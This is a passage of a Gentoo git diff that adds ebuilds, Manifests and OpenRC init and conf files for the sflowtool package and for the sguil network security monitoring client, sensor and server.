+KEYWORDS="amd64 ppc x86"
+IUSE="debug"
+
+src_prepare() {
+ append-cppflags -DSPOOFSOURCE
+ use debug && append-cppflags -DDEBUG
+}
diff --git a/net-analyzer/sflowtool/sflowtool-3.35.ebuild b/net-analyzer/sflowtool/sflowtool-3.35.ebuild
new file mode 100644
index 000000000000..48ebb839292f
--- /dev/null
+++ b/net-analyzer/sflowtool/sflowtool-3.35.ebuild
@@ -0,0 +1,20 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit flag-o-matic
+
+DESCRIPTION="sflowtool is a utility for collecting and processing sFlow data"
+HOMEPAGE="http://www.inmon.com/technology/sflowTools.php"
+SRC_URI="http://www.inmon.com/bin/${P}.tar.gz"
+
+LICENSE="inmon-sflow"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="debug"
+
+src_prepare() {
+ append-cppflags -DSPOOFSOURCE
+ use debug && append-cppflags -DDEBUG
+}
diff --git a/net-analyzer/sguil-client/Manifest b/net-analyzer/sguil-client/Manifest
new file mode 100644
index 000000000000..1a10dae2dcfc
--- /dev/null
+++ b/net-analyzer/sguil-client/Manifest
@@ -0,0 +1,2 @@
+DIST sguil-0.9.0.tar.gz 464204 SHA256 412be894d67a6487312dd16a98a580dda8c38cff2e24f7a6c25405857769782b SHA512 3f300901d0f0260fbc950b4c7604e3dc3eeb2d088ff45171db84e2d58e281242bf3582eac51162968f1f3766961aec4d0a7af54e85773102ee643a52e879cfa6 WHIRLPOOL eaaef918819ed781505abc727c65e08a9e6d6d0e53f842b5aa6ec4cd1278dc902375a45794b3989488c3507bc34e288593cd892c8a94293d8a7723bbdb6cef4e
+DIST sguil-client-0.8.0.tar.gz 216433 SHA256 bbce49630fd6264591a1e890cba3bad11cf18e9327c9f9cc02cb6dc8a19746bd SHA512 44e14273cb7506b89d3138a1c50160de99576e77d6d18e3cdab9f257a1d00d5a100c8d9790f6e93aea8312fab51d52260aedfaa00facf54107249686d93e09b3 WHIRLPOOL c7213ebcebd8eaf6418f9a0a9c6e7b5df4d507d434c0b10bc2f9a1d6bf0337d590b600af0335792b92d735fa5e71cd5547528f17d750064f98267cb331efccb4
diff --git a/net-analyzer/sguil-client/metadata.xml b/net-analyzer/sguil-client/metadata.xml
new file mode 100644
index 000000000000..f5369ffcdbd8
--- /dev/null
+++ b/net-analyzer/sguil-client/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="github">bammv/sguil</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/sguil-client/sguil-client-0.8.0.ebuild b/net-analyzer/sguil-client/sguil-client-0.8.0.ebuild
new file mode 100644
index 000000000000..4b8b0b9fe158
--- /dev/null
+++ b/net-analyzer/sguil-client/sguil-client-0.8.0.ebuild
@@ -0,0 +1,50 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit multilib
+
+MY_PV="${PV/_p/p}"
+DESCRIPTION="GUI Console for sguil Network Security Monitoring"
+HOMEPAGE="http://sguil.sf.net"
+SRC_URI="mirror://sourceforge/sguil/sguil-client-${MY_PV}.tar.gz"
+
+LICENSE="QPL"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="ssl"
+
+RDEPEND="
+ >=dev-lang/tcl-8.3:0=[-threads]
+ >=dev-lang/tk-8.3:0=
+ >=dev-tcltk/itcl-3.2
+ >=dev-tcltk/tclx-8.3
+ dev-tcltk/itk
+ dev-tcltk/iwidgets
+ dev-tcltk/tcllib
+ net-analyzer/wireshark
+ ssl? ( >=dev-tcltk/tls-1.4.1 )
+"
+
+S=${WORKDIR}/sguil-${MY_PV}
+
+src_prepare() {
+ sed -i \
+ -e "/^set SGUILLIB /s:./lib:/usr/$(get_libdir)/sguil:" \
+ -e '/^set ETHEREAL_PATH /s:/usr/sbin/ethereal:/usr/bin/wireshark:' \
+ -e '/^set SERVERHOST /s:demo.sguil.net:localhost:' \
+ -e '/^set MAILSERVER /s:mail.example.com:localhost:' \
+ -e '/^set GPG_PATH /s:/usr/local/bin/gpg:/usr/bin/gpg:' \
+ client/sguil.conf || die
+}
+
+src_install() {
+ dobin client/sguil.tk
+ insinto /etc/sguil
+ doins client/sguil.conf
+ insinto "/usr/$(get_libdir)/sguil"
+ doins -r "${S}"/client/lib/*
+ dodoc doc/*
+}
diff --git a/net-analyzer/sguil-client/sguil-client-0.9.0.ebuild b/net-analyzer/sguil-client/sguil-client-0.9.0.ebuild
new file mode 100644
index 000000000000..66d3c531be30
--- /dev/null
+++ b/net-analyzer/sguil-client/sguil-client-0.9.0.ebuild
@@ -0,0 +1,48 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit multilib
+
+MY_PV="${PV/_p/p}"
+DESCRIPTION="GUI Console for sguil Network Security Monitoring"
+HOMEPAGE="http://sguil.sf.net"
+SRC_URI="https://github.com/bammv/${PN/-client}/archive/v${PV}.tar.gz -> ${P/-client}.tar.gz"
+
+LICENSE="QPL"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="ssl"
+
+RDEPEND="
+ >=dev-lang/tcl-8.3:0=[-threads]
+ >=dev-lang/tk-8.3:0=
+ >=dev-tcltk/itcl-3.2
+ >=dev-tcltk/tclx-8.3
+ dev-tcltk/itk
+ dev-tcltk/iwidgets
+ dev-tcltk/tcllib
+ net-analyzer/wireshark
+ ssl? ( >=dev-tcltk/tls-1.4.1 )
+"
+
+S=${WORKDIR}/sguil-${MY_PV}
+
+src_prepare() {
+ sed -i \
+ -e "/^set SGUILLIB /s:./lib:/usr/$(get_libdir)/sguil:" \
+ -e '/^set SERVERHOST /s:demo.sguil.net:localhost:' \
+ -e '/^set MAILSERVER /s:mail.example.com:localhost:' \
+ -e '/^set GPG_PATH /s:/usr/local/bin/gpg:/usr/bin/gpg:' \
+ client/sguil.conf || die
+}
+
+src_install() {
+ dobin client/sguil.tk
+ insinto /etc/sguil
+ doins client/sguil.conf
+ insinto "/usr/$(get_libdir)/sguil"
+ doins -r "${S}"/client/lib/*
+ dodoc doc/*
+}
diff --git a/net-analyzer/sguil-sensor/Manifest b/net-analyzer/sguil-sensor/Manifest
new file mode 100644
index 000000000000..4109877f6668
--- /dev/null
+++ b/net-analyzer/sguil-sensor/Manifest
@@ -0,0 +1,2 @@
+DIST sguil-0.9.0.tar.gz 464204 SHA256 412be894d67a6487312dd16a98a580dda8c38cff2e24f7a6c25405857769782b SHA512 3f300901d0f0260fbc950b4c7604e3dc3eeb2d088ff45171db84e2d58e281242bf3582eac51162968f1f3766961aec4d0a7af54e85773102ee643a52e879cfa6 WHIRLPOOL eaaef918819ed781505abc727c65e08a9e6d6d0e53f842b5aa6ec4cd1278dc902375a45794b3989488c3507bc34e288593cd892c8a94293d8a7723bbdb6cef4e
+DIST sguil-sensor-0.8.0.tar.gz 142829 SHA256 aa4617c4f9cf1d598c6d728afed50cd6f90dc5d1516a6eda8126401b7bba4be5 SHA512 9b90598f2a3fdcf8652ccb92123944ffbda61c00f131bc951b12a95002f84f555f8c63cc1235fd7bb90875d00edbecbda02750bcca3bba7d16e1b1a150eb74ae WHIRLPOOL aa7108158053e84b3229b4daf4a2108fe1b2ef0290fd82267c5ea82067faff8e82372e50af0f4d9057f611b6584b526d70c67ced2b93eb5e82927065b58c2eb4
diff --git a/net-analyzer/sguil-sensor/files/log_packets.confd b/net-analyzer/sguil-sensor/files/log_packets.confd
new file mode 100644
index 000000000000..93bdc772bff7
--- /dev/null
+++ b/net-analyzer/sguil-sensor/files/log_packets.confd
@@ -0,0 +1,18 @@
+# Config file for /etc/init.d/log_packets
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+
+# This tell snort which interface to listen on (any for every interface)
+IFACE=eth1
+
+# Make sure this matches your IFACE
+PIDFILE=/run/sguil-log_packets_$IFACE.pid
+
+# You probably don't want to change this, but in case you do
+LOGDIR="/var/lib/sguil"
+
+# Percentage of disk to try and maintain
+MAX_DISK_USE=95
+
+# This pulls in the options above
+OPTIONS="-m 122 -u sguil -g sguil"
diff --git a/net-analyzer/sguil-sensor/files/log_packets.initd b/net-analyzer/sguil-sensor/files/log_packets.initd
new file mode 100644
index 000000000000..a9d37ac5efd3
--- /dev/null
+++ b/net-analyzer/sguil-sensor/files/log_packets.initd
@@ -0,0 +1,92 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+extra_commands="cleandisk"
+
+LOG_DIR="${LOGDIR}/${HOSTNAME}/dailylogs"
+
+start() {
+ ebegin "Starting Log_packest"
+ if [ ! -x /usr/bin/snort ]
+ then
+ eerror "No snort - cannot start"
+ eend 1
+ return 1
+ fi
+
+ if [ ! -d ${LOG_DIR} ]
+ then
+ mkdir -p ${LOG_DIR}
+ chmod 770 ${LOG_DIR}
+ fi
+
+ today=$(date '+%Y-%m-%d')
+
+ if [ ! -d "${LOG_DIR}/${today}" ]
+ then
+ mkdir "${LOG_DIR}/${today}"
+ chmod 770 "${LOG_DIR}/${today}"
+ chown root:sguil "${LOG_DIR}/${today}"
+ fi
+ start-stop-daemon --start --quiet -b -m --pidfile "${PIDFILE}" \
+ --exec /usr/bin/snort \
+ -- ${OPTIONS} -l "${LOG_DIR}/${today}" -b -i "${IFACE}" "${FILTER}"
+ real_cleandisk
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Sensor Agent"
+ start-stop-daemon --stop --quiet --pidfile "${PIDFILE}"
+ eend $?
+}
+
+cleandisk() {
+ ebegin "Cleaning Disk"
+ real_cleandisk
+ eend $?
+}
+
+# This func checks the current space being used by LOG_DIR
+# and rm's data as necessary.
+real_cleandisk() {
+ einfo "Checking disk space (limited to ${MAX_DISK_USE}%)..."
+ # grep, awk, tr...woohoo!
+ CUR_USE=$(df -P ${LOG_DIR} | grep -v -i filesystem | awk '{print $5}' | tr -d %)
+ einfo " Current Disk Use: ${CUR_USE}%"
+
+ if [ ${CUR_USE} -gt ${MAX_DISK_USE} ]
+ then
+ # If we are here then we passed our disk limit
+ # First find the oldest DIR
+ cd "${LOG_DIR}"
+ # Can't use -t on the ls since the mod time changes each time we
+ # delete a file. Good thing we use YYYY-MM-DD so we can sort.
+ OLDEST_DIR=$(ls | sort | head -n 1)
+ cd "${OLDEST_DIR}"
+
+ OLDEST_FILE=$(ls -t | tail -n 1)
+
+ if [ -f "${OLDEST_FILE}" ]
+ then
+ einfo " Removing file: ${OLDEST_DIR}/${OLDEST_FILE}"
+ rm -f "${OLDEST_FILE}"
+ else
+ einfo " Removing empty dir: ${OLDEST_DIR}"
+ cd ..
+ rm -rf "${OLDEST_DIR}"
+ fi
+
+ # Run cleandisk again as rm'ing one file might been enough
+ # but we wait 5 secs in hopes any open writes are done.
+ sync
+ einfo " Waiting 5 secs for disk to sync..."
+ sleep 5
+ real_cleandisk
+ else
+ einfo "Done."
+ fi
+}
+
diff --git a/net-analyzer/sguil-sensor/files/sensor_agent.initd b/net-analyzer/sguil-sensor/files/sensor_agent.initd
new file mode 100644
index 000000000000..b96c7ad0ba4b
--- /dev/null
+++ b/net-analyzer/sguil-sensor/files/sensor_agent.initd
@@ -0,0 +1,30 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+checkconfig() {
+ if [ ! -e /etc/sguil/sensor_agent.conf ] ; then
+ eerror "You need an /etc/snort/sensor_agent.conf to run the Sensor Agent"
+ return 1
+ fi
+}
+
+start() {
+ checkconfig || return 1
+ ebegin "Starting Sensor Agent"
+ start-stop-daemon --start -c sguil --quiet --exec /usr/bin/sensor_agent.tcl \
+ -- -D -c "/etc/sguil/sensor_agent.conf">/dev/null 2>&1
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Sensor Agent"
+ start-stop-daemon --stop --quiet --pidfile /run/sguil-sensor.pid
+ eend $?
+}
+
diff --git a/net-analyzer/sguil-sensor/metadata.xml b/net-analyzer/sguil-sensor/metadata.xml
new file mode 100644
index 000000000000..f5369ffcdbd8
--- /dev/null
+++ b/net-analyzer/sguil-sensor/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="github">bammv/sguil</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/sguil-sensor/sguil-sensor-0.8.0.ebuild b/net-analyzer/sguil-sensor/sguil-sensor-0.8.0.ebuild
new file mode 100644
index 000000000000..539f7af01da1
--- /dev/null
+++ b/net-analyzer/sguil-sensor/sguil-sensor-0.8.0.ebuild
@@ -0,0 +1,81 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit user
+
+MY_PV="${PV/_p/p}"
+DESCRIPTION="Sensor part of sguil Network Security Monitoring"
+HOMEPAGE="http://sguil.sourceforge.net"
+SRC_URI="mirror://sourceforge/sguil/sguil-sensor-${MY_PV}.tar.gz"
+
+LICENSE="GPL-2 QPL"
+SLOT="0"
+KEYWORDS="~x86"
+IUSE=""
+
+RDEPEND="
+ >=dev-lang/tcl-8.3:0=[-threads]
+ >=dev-tcltk/tclx-8.3
+ >=net-analyzer/barnyard-0.2.0-r1
+ >=net-analyzer/snort-2.4.1-r1
+ dev-ml/pcre-ocaml
+ net-analyzer/sancp
+"
+
+S="${WORKDIR}/sguil-${MY_PV}"
+
+pkg_setup() {
+ enewgroup sguil
+ enewuser sguil -1 -1 /var/lib/sguil sguil
+}
+
+src_prepare() {
+ sed -i \
+ -e "s:gateway:${HOSTNAME}:" \
+ -e 's:/snort_data:/var/lib/sguil:' \
+ -e 's:DAEMON 0:DAEMON 1:' \
+ -e 's:DEBUG 1:DEBUG 0:g' \
+ sensor/sensor_agent.conf || die
+ sed -i \
+ -e 's:/run/sensor_agent.pid:/run/sguil-sensor.pid:' \
+ sensor/sensor_agent.tcl || die
+}
+
+src_install() {
+ dodoc doc/*
+
+ dobin sensor/sensor_agent.tcl
+
+ newinitd "${FILESDIR}/log_packets.initd" log_packets
+ newinitd "${FILESDIR}/sensor_agent.initd" sensor_agent
+ newconfd "${FILESDIR}/log_packets.confd" log_packets
+ insinto /etc/sguil
+ doins sensor/sensor_agent.conf
+
+ # Create the directory structure
+ diropts -g sguil -o sguil
+ keepdir /var/lib/sguil /var/lib/sguil/archive \
+ "/var/lib/sguil/${HOSTNAME}" \
+ "/var/lib/sguil/${HOSTNAME}/portscans" \
+ "/var/lib/sguil/${HOSTNAME}/ssn_logs" \
+ "/var/lib/sguil/${HOSTNAME}/dailylogs" \
+ "/var/lib/sguil/${HOSTNAME}/sancp"
+
+}
+
+pkg_postinst() {
+ elog
+ elog "You should check /etc/sguil/sensor_agent.conf and"
+ elog "/etc/init.d/logpackets and ensure that they are accurate"
+ elog "for your environment. They should work providing that you"
+ elog "are running the sensor on the same machine as the server."
+ elog "This ebuild assumes that you are running a single sensor"
+ elog "environment, if this is not the case then you must make sure"
+ elog "to modify /etc/sguil/sensor_agent.conf and change the HOSTNAME variable."
+ elog "You should crontab the /etc/init.d/log_packets script to restart"
+ elog "each hour."
+ elog
+}
diff --git a/net-analyzer/sguil-sensor/sguil-sensor-0.9.0.ebuild b/net-analyzer/sguil-sensor/sguil-sensor-0.9.0.ebuild
new file mode 100644
index 000000000000..5e7b40e6e78a
--- /dev/null
+++ b/net-analyzer/sguil-sensor/sguil-sensor-0.9.0.ebuild
@@ -0,0 +1,81 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit user
+
+MY_PV="${PV/_p/p}"
+DESCRIPTION="Sensor part of sguil Network Security Monitoring"
+HOMEPAGE="http://sguil.sourceforge.net"
+SRC_URI="https://github.com/bammv/${PN/-sensor}/archive/v${PV}.tar.gz -> ${P/-sensor}.tar.gz"
+
+LICENSE="GPL-2 QPL"
+SLOT="0"
+KEYWORDS="~x86"
+IUSE=""
+
+RDEPEND="
+ >=dev-lang/tcl-8.3:0=[-threads]
+ >=dev-tcltk/tclx-8.3
+ >=net-analyzer/barnyard-0.2.0-r1
+ >=net-analyzer/snort-2.4.1-r1
+ dev-ml/pcre-ocaml
+ net-analyzer/sancp
+"
+
+S="${WORKDIR}/sguil-${MY_PV}"
+
+pkg_setup() {
+ enewgroup sguil
+ enewuser sguil -1 -1 /var/lib/sguil sguil
+}
+
+src_prepare() {
+ sed -i \
+ -e "s:gateway:${HOSTNAME}:" \
+ -e 's:/snort_data:/var/lib/sguil:' \
+ -e 's:DAEMON 0:DAEMON 1:' \
+ -e 's:DEBUG 1:DEBUG 0:g' \
+ sensor/sensor_agent.conf || die
+ sed -i \
+ -e 's:/var/run/sensor_agent.pid:/run/sguil-sensor.pid:' \
+ sensor/sensor_agent.tcl || die
+}
+
+src_install() {
+ dodoc doc/*
+
+ dobin sensor/sensor_agent.tcl
+
+ newinitd "${FILESDIR}/log_packets.initd" log_packets
+ newinitd "${FILESDIR}/sensor_agent.initd" sensor_agent
+ newconfd "${FILESDIR}/log_packets.confd" log_packets
+ insinto /etc/sguil
+ doins sensor/sensor_agent.conf
+
+ # Create the directory structure
+ diropts -g sguil -o sguil
+ keepdir /var/lib/sguil /var/lib/sguil/archive \
+ "/var/lib/sguil/${HOSTNAME}" \
+ "/var/lib/sguil/${HOSTNAME}/portscans" \
+ "/var/lib/sguil/${HOSTNAME}/ssn_logs" \
+ "/var/lib/sguil/${HOSTNAME}/dailylogs" \
+ "/var/lib/sguil/${HOSTNAME}/sancp"
+
+}
+
+pkg_postinst() {
+ elog
+ elog "You should check /etc/sguil/sensor_agent.conf and"
+ elog "/etc/init.d/logpackets and ensure that they are accurate"
+ elog "for your environment. They should work providing that you"
+ elog "are running the sensor on the same machine as the server."
+ elog "This ebuild assumes that you are running a single sensor"
+ elog "environment, if this is not the case then you must make sure"
+ elog "to modify /etc/sguil/sensor_agent.conf and change the HOSTNAME variable."
+ elog "You should crontab the /etc/init.d/log_packets script to restart"
+ elog "each hour."
+ elog
+}
diff --git a/net-analyzer/sguil-server/Manifest b/net-analyzer/sguil-server/Manifest
new file mode 100644
index 000000000000..d0a439bf1dd8
--- /dev/null
+++ b/net-analyzer/sguil-server/Manifest
@@ -0,0 +1,2 @@
+DIST sguil-0.9.0.tar.gz 464204 SHA256 412be894d67a6487312dd16a98a580dda8c38cff2e24f7a6c25405857769782b SHA512 3f300901d0f0260fbc950b4c7604e3dc3eeb2d088ff45171db84e2d58e281242bf3582eac51162968f1f3766961aec4d0a7af54e85773102ee643a52e879cfa6 WHIRLPOOL eaaef918819ed781505abc727c65e08a9e6d6d0e53f842b5aa6ec4cd1278dc902375a45794b3989488c3507bc34e288593cd892c8a94293d8a7723bbdb6cef4e
+DIST sguil-server-0.8.0.tar.gz 102236 SHA256 faa7152ddbdc0ba797c79d6419bf3ae50bfd6dbba4b2cd28ccb04a55ef788360 SHA512 84161365579e3b4227314d9f61afad6ad220261525d7fc8016210a13ee607815eb33178bab026f8a217c43a42f2e623c41d579c5898f58207a18e31685426710 WHIRLPOOL e6f2709f1dd079bb1fa5fcd1c8010ac4a5c692410fec61aac1c6ede3dc7264077370667397b6b9b4a347df3b877e7fc61932340f02a087d828163457c6a9724a
diff --git a/net-analyzer/sguil-server/files/sguild.confd b/net-analyzer/sguil-server/files/sguild.confd
new file mode 100644
index 000000000000..216f6e60ad87
--- /dev/null
+++ b/net-analyzer/sguil-server/files/sguild.confd
@@ -0,0 +1,25 @@
+# Config file for /etc/init.d/sguild
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+
+#PATH to the sguild config (sguild.conf) file.
+CONF=/etc/sguil/sguild.conf
+
+#PATH to the sguild config (autocat.conf) file.
+AUTOCAT=/etc/sguil/autocat.conf
+
+#PATH to the sguild global queries (sguild.queries) file.
+QUERIES=/etc/sguil/sguild.queries
+
+#PATH to the sguild users (sguild.users) file.
+USERS=/etc/sguil/sguild.users
+
+#PATH to the sguild access file
+ACCESS=/etc/sguil/sguild.access
+
+#Directory that contains sguild.pem and sguild.key
+#Uncomment to enable openssl connectivity
+#OPENSSLPATH="/etc/sguil/"
+
+#For any other options you wish to add
+#EXTRA_SGUILD_OPTS=
diff --git a/net-analyzer/sguil-server/files/sguild.initd b/net-analyzer/sguil-server/files/sguild.initd
new file mode 100755
index 000000000000..11a1a94f7c91
--- /dev/null
+++ b/net-analyzer/sguil-server/files/sguild.initd
@@ -0,0 +1,45 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+[ -z "${CONF}" ] && CONF="/etc/sguil/sguild.conf"
+[ -z "${AUTOCAT}" ] && AUTOCAT="/etc/sguil/autocat.conf"
+[ -z "${QUERIES}" ] && QUERIES="/etc/sguil/sguild.queries"
+[ -z "${USERS}" ] && USERS="/etc/sguil/sguild.users"
+[ -z "${ACCESS}" ] && AUTOCAT="/etc/sguil/sguild.access"
+
+SGUILD_OPTS="-D -c ${CONF} -u ${USERS} -A ${ACCESS}"
+
+[ -n "${OPENSSLPATH}" ] && SGUILD_OPTS="${SGUILD_OPTS} -o -C ${OPENSSLPATH}"
+
+depend() {
+ need net
+ use mysql
+}
+
+checkconfig() {
+ [ -f "${CONF}" ] || return 1
+ [ -f "${AUTOCAT}" ] || return 1
+ [ -f "${QUERIES}" ] || return 1
+ [ -f "${USERS}" ] || return 1
+ [ -f "${ACCESS}" ] || return 1
+ if [ -n "${OPENSSLPATH}" ]; then
+ [ -f "${OPENSSLPATH}/sguild.key" ] || return 1
+ [ -f "${OPENSSLPATH}/sguild.pem" ] || return 1
+ fi
+}
+
+start() {
+ checkconfig || return 1
+ ebegin "Starting sguild"
+ start-stop-daemon --start --quiet -c sguil --exec /usr/bin/sguild \
+ -- ${SGUILD_OPTS} ${EXTRA_SGUILD_OPTS} -D -P /run/sguild.pid
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping sguild"
+ start-stop-daemon --stop --quiet --pidfile /run/sguild.pid
+ eend $?
+}
diff --git a/net-analyzer/sguil-server/metadata.xml b/net-analyzer/sguil-server/metadata.xml
new file mode 100644
index 000000000000..f5369ffcdbd8
--- /dev/null
+++ b/net-analyzer/sguil-server/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="github">bammv/sguil</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/sguil-server/sguil-server-0.8.0.ebuild b/net-analyzer/sguil-server/sguil-server-0.8.0.ebuild
new file mode 100644
index 000000000000..eb91bfcda80a
--- /dev/null
+++ b/net-analyzer/sguil-server/sguil-server-0.8.0.ebuild
@@ -0,0 +1,100 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit multilib ssl-cert user
+
+MY_PV="${PV/_p/p}"
+DESCRIPTION="Daemon for Sguil Network Security Monitoring"
+HOMEPAGE="http://sguil.sourceforge.net"
+SRC_URI="mirror://sourceforge/sguil/sguil-server-${MY_PV}.tar.gz"
+
+LICENSE="GPL-2 QPL"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="ssl"
+
+DEPEND="
+ >=dev-lang/tcl-8.3:0=[-threads]
+ >=dev-tcltk/tclx-8.3
+ dev-tcltk/tcllib
+ dev-tcltk/mysqltcl
+ ssl? ( >=dev-tcltk/tls-1.4.1 )"
+RDEPEND="${DEPEND}
+ net-analyzer/p0f
+ net-analyzer/tcpflow
+ net-misc/openssh"
+
+S="${WORKDIR}/sguil-${MY_PV}"
+
+pkg_setup() {
+ enewgroup sguil
+ enewuser sguil -1 -1 /var/lib/sguil sguil
+}
+
+src_prepare(){
+ sed -i \
+ -e 's:DEBUG 2:DEBUG 1:' -e 's:DAEMON 0:DAEMON 1:' \
+ -e 's:SGUILD_LIB_PATH ./lib:SGUILD_LIB_PATH /usr/lib/sguild:g' \
+ -e 's:/sguild_data/rules:/var/lib/sguil/rules:g' \
+ -e 's:/sguild_data/archive:/var/lib/sguil/archive:g' \
+ -e 's:/usr/lib/sguild:/usr/'$(get_libdir)'/sguild:g' \
+ server/sguild.conf || die
+}
+
+src_install(){
+ dodoc server/sql_scripts/*
+ dodoc doc/CHANGES doc/OPENSSL.README doc/USAGE doc/INSTALL \
+ doc/TODO doc/sguildb.dia
+
+ insopts -m640
+ insinto /etc/sguil
+ doins server/{sguild.email,sguild.users,sguild.conf,sguild.queries,sguild.access,autocat.conf}
+
+ insinto /usr/$(get_libdir)/sguild
+ doins server/lib/*
+ dobin server/sguild
+ newinitd "${FILESDIR}/sguild.initd" sguild
+ newconfd "${FILESDIR}/sguild.confd" sguild
+
+ if use ssl; then
+ sed -i -e "s/#OPENSSL/OPENSSL/" "${D}/etc/conf.d/sguild"
+ fi
+
+ diropts -g sguil -o sguil
+ keepdir \
+ /var/lib/sguil \
+ /var/lib/sguil/archive \
+ /var/lib/sguil/rules
+
+}
+
+pkg_postinst(){
+ if use ssl && ! [ -f "${ROOT}"/etc/sguil/sguild.key ]; then
+ install_cert /etc/sguil/sguild
+ fi
+
+ chown -R sguil:sguil "${ROOT}"/etc/sguil/sguild.*
+ chown -R sguil:sguil "${ROOT}"/usr/lib/sguild
+
+ if [ -d "${ROOT}"/etc/snort/rules ] ; then
+ ln -s /etc/snort/rules "${ROOT}"/var/lib/sguil/rules/${HOSTNAME}
+ fi
+
+ elog
+ elog "Please customize the sguild configuration files in /etc/sguild before"
+ elog "trying to run the daemon. Additionally you will need to setup the"
+ elog "mysql database. See /usr/share/doc/${PF}/INSTALL.gz for information."
+ elog "Please note that it is STRONGLY recommended to mount a separate"
+ elog "filesystem at /var/lib/sguil for both space and performance reasons"
+ elog "as a large amount of data will be kept in the directory structure"
+ elog "underneath that top directory."
+ elog
+ elog "You should create the sguild db as per the install instructions in"
+ elog "/usr/share/doc/${PF}/ and use the appropriate"
+ elog "database setup script located in the same directory."
+
+ elog
+}
diff --git a/net-analyzer/sguil-server/sguil-server-0.9.0.ebuild b/net-analyzer/sguil-server/sguil-server-0.9.0.ebuild
new file mode 100644
index 000000000000..a3e0105503cc
--- /dev/null
+++ b/net-analyzer/sguil-server/sguil-server-0.9.0.ebuild
@@ -0,0 +1,100 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit multilib ssl-cert user
+
+MY_PV="${PV/_p/p}"
+DESCRIPTION="Daemon for Sguil Network Security Monitoring"
+HOMEPAGE="http://sguil.sourceforge.net"
+SRC_URI="https://github.com/bammv/${PN/-server}/archive/v${PV}.tar.gz -> ${P/-server}.tar.gz"
+
+LICENSE="GPL-2 QPL"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="ssl"
+
+DEPEND="
+ >=dev-lang/tcl-8.3:0=[-threads]
+ >=dev-tcltk/tclx-8.3
+ dev-tcltk/tcllib
+ dev-tcltk/mysqltcl
+ ssl? ( >=dev-tcltk/tls-1.4.1 )"
+RDEPEND="${DEPEND}
+ net-analyzer/p0f
+ net-analyzer/tcpflow
+ net-misc/openssh"
+
+S="${WORKDIR}/sguil-${MY_PV}"
+
+pkg_setup() {
+ enewgroup sguil
+ enewuser sguil -1 -1 /var/lib/sguil sguil
+}
+
+src_prepare(){
+ sed -i \
+ -e 's:DEBUG 2:DEBUG 1:' -e 's:DAEMON 0:DAEMON 1:' \
+ -e 's:SGUILD_LIB_PATH ./lib:SGUILD_LIB_PATH /usr/lib/sguild:g' \
+ -e 's:/sguild_data/rules:/var/lib/sguil/rules:g' \
+ -e 's:/sguild_data/archive:/var/lib/sguil/archive:g' \
+ -e 's:/usr/lib/sguild:/usr/'$(get_libdir)'/sguild:g' \
+ server/sguild.conf || die
+}
+
+src_install(){
+ dodoc server/sql_scripts/*
+ dodoc doc/CHANGES doc/OPENSSL.README doc/USAGE doc/INSTALL \
+ doc/TODO doc/sguildb.dia
+
+ insopts -m640
+ insinto /etc/sguil
+ doins server/{sguild.email,sguild.users,sguild.conf,sguild.queries,sguild.access,autocat.conf}
+
+ insinto /usr/$(get_libdir)/sguild
+ doins server/lib/*
+ dobin server/sguild
+ newinitd "${FILESDIR}/sguild.initd" sguild
+ newconfd "${FILESDIR}/sguild.confd" sguild
+
+ if use ssl; then
+ sed -i -e "s/#OPENSSL/OPENSSL/" "${D}/etc/conf.d/sguild"
+ fi
+
+ diropts -g sguil -o sguil
+ keepdir \
+ /var/lib/sguil \
+ /var/lib/sguil/archive \
+ /var/lib/sguil/rules
+
+}
+
+pkg_postinst(){
+ if use ssl && ! [ -f "${ROOT}"/etc/sguil/sguild.key ]; then
+ install_cert /etc/sguil/sguild
+ fi
+
+ chown -R sguil:sguil "${ROOT}"/etc/sguil/sguild.*
